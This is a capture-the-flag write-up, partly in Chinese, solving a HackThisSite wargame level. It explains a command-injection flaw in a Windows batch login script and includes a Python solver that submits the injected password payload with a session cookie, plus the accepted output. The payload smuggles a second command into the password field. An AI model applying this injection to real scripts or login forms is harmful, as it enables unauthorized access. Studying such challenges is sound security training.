The following is a batch script authentication system. Your goal here
is to get the batch script to authenticate you by inputting a password
into the field. For this extbasic, your goal is to circumvent
authentication altogether. Decrypting the password is for
extbasic11.
关卡给出一个 Windows batch
认证脚本,要求在密码框里输入内容让脚本认证通过;本关的目标是绕过认证本身,而不是解出密码(解密码是第
11 关的任务)。
@ECHO OFF SETLOCAL ENABLEDELAYEDEXPANSION SET PRIME=2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 SET CHARS=a b c d e f g h i j k l m n o p q r s t u v w x y z SET PASSWORDVALUE=1 SET INPUT= SET /P INPUT=Insert password: IF "%INPUT%"=="" "%~0" ECHO Authenticating... :OVERLOOP SET CURRENTPOSITION=0 :SUBLOOP IF /I "!INPUT:~%CHARACTERPOSITION%,1!"=="!CHARS:~%CURRENTPOSITION%,1!" SET /A PASSWORDVALUE*=!PRIME:~%CURRENTPOSITION%,3! SET /A CURRENTPOSITION+=3 IF NOT %CURRENTPOSITION%==78 GOTO :SUBLOOP SET /A CHARACTERPOSITION+=1 IF NOT "!INPUT:~%CHARACTERPOSITION%,1!"=="" GOTO :OVERLOOP :END ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED ECHO You have been authenticated. Welcome aboard! GOTO :SILENTPAUSE :ACCESSDENIED ECHO Access denied! :SILENTPAUSE PAUSE > NUL
Solution
SET PRIME 与 SET CHARS 把 26 个字母和
2..101 的质数一一对齐。两者都用固定宽度排列:每个元素占 3
个字符(单字符元素后面补两个空格,两位数的元素后面补一个空格),所以位置
0、3、6、…、75 正好是 26 个元素。
SET /P INPUT 读入密码,随后双层循环逐位取
INPUT 的字符:命中 a–z 就把
PASSWORDVALUE
乘以该字母对应的质数。这构成一个字母集合的唯一乘积哈希:乘积相同即字母多重集合相同。
最终判据在 :END 之后:
1
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED
%PASSWORDVALUE%
是普通(非延迟)展开,在整行被解析时就完成,早于同一行上的
ENDLOCAL 生效;此刻取到的正是刚注入的
1065435274,1065435274==1065435274
成立,IF NOT 为假,不跳转,执行流直接落到
ECHO You have been authenticated. Welcome aboard!。ENDLOCAL
之后把变量作用域还原,但判据已经用完注入值。
#!/usr/bin/env python3 """HackThisSite Extended Basic 10 (playit) live solver. The level ships a Windows batch "authentication" script. The user's password is read with ``SET /P INPUT`` and then spliced, unescaped, into a quoted comparison:: IF "%INPUT%"=="" "%~0" Everything after the password is therefore attacker-controlled. The pass/fail gate further down tests the accumulated product against a fixed hash:: ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED 1065435274 factors as 2 x 6827 x 78031, and 6827/78031 are not among the primes the script multiplies (2..101), so no password can ever reach the gate by the intended path. Instead we break out of the quoted comparison: the injected ``"==`` keeps the ``IF`` true, then ``SET PASSWORDVALUE=1065435274`` plants the wanted value and ``GOTO :END`` skips the multiplication loop. At ``:END`` cmd expands ``%PASSWORDVALUE%`` before ``ENDLOCAL`` runs, so the planted value is compared and the gate is satisfied. The submission must carry ``Referer: <level page>`` or template.php answers ``Invalid Referer`` and the attempt does not count. The session cookie is read from the ``HTS_COOKIE`` environment variable and never written to disk. Usage: export HTS_COOKIE='HackThisSite=...' cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-10/solve.py """ import os import re import urllib.parse import urllib.request
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/131.0.0.0 Safari/537.36") LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/10/" SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php" NEXT = "/missions/playit/extbasic/11" PAYLOAD = '"=="" set passwordvalue=1065435274 && goto :end abc' COOKIE = os.environ["HTS_COOKIE"]
defmain(): page = fetch(LEVEL) formkey = re.search(r'name="formkey" value="([^"]+)"', page).group(1) lvl = re.search(r'name="lvl" value="([^"]+)"', page).group(1) body = urllib.parse.urlencode( {"formkey": formkey, "lvl": lvl, "pass": PAYLOAD}).encode() req = urllib.request.Request( SUBMIT, data=body, headers={"Cookie": COOKIE, "User-Agent": UA, "Content-Type": "application/x-www-form-urlencoded", "Referer": LEVEL}) resp = urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace") print("formkey=%s lvl=%s" % (formkey, lvl)) if NEXT in resp: print("[+] accepted - server handed out the go-on link to level 11") else: print("[-] no go-on marker in response")
if __name__ == "__main__": main()
运行输出:
1 2 3
$ cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-10/solve.py formkey=ehQuv4j0sZLoVGMWILQosc98SwzoZbktCJHPp8O lvl=10 [+] accepted - server handed out the go-on link to level 11
接受后响应里带指向 extbasic/11 的 go on
链接,账户 profile 的 Extbasic: 行计入
(10)。
Key points
%INPUT% 被原样拼进
IF "%INPUT%"=="" "%~0",是典型的 batch
命令注入:闭合引号制造恒真比较,再用 & 追加命令。
判据行 ENDLOCAL&IF NOT %PASSWORDVALUE%==… 里的
%PASSWORDVALUE% 是解析期展开,早于同一行的
ENDLOCAL,因此注入的赋值在作用域还原之前就已用掉;写在没有
ENDLOCAL 的普通行上反而到不了这里。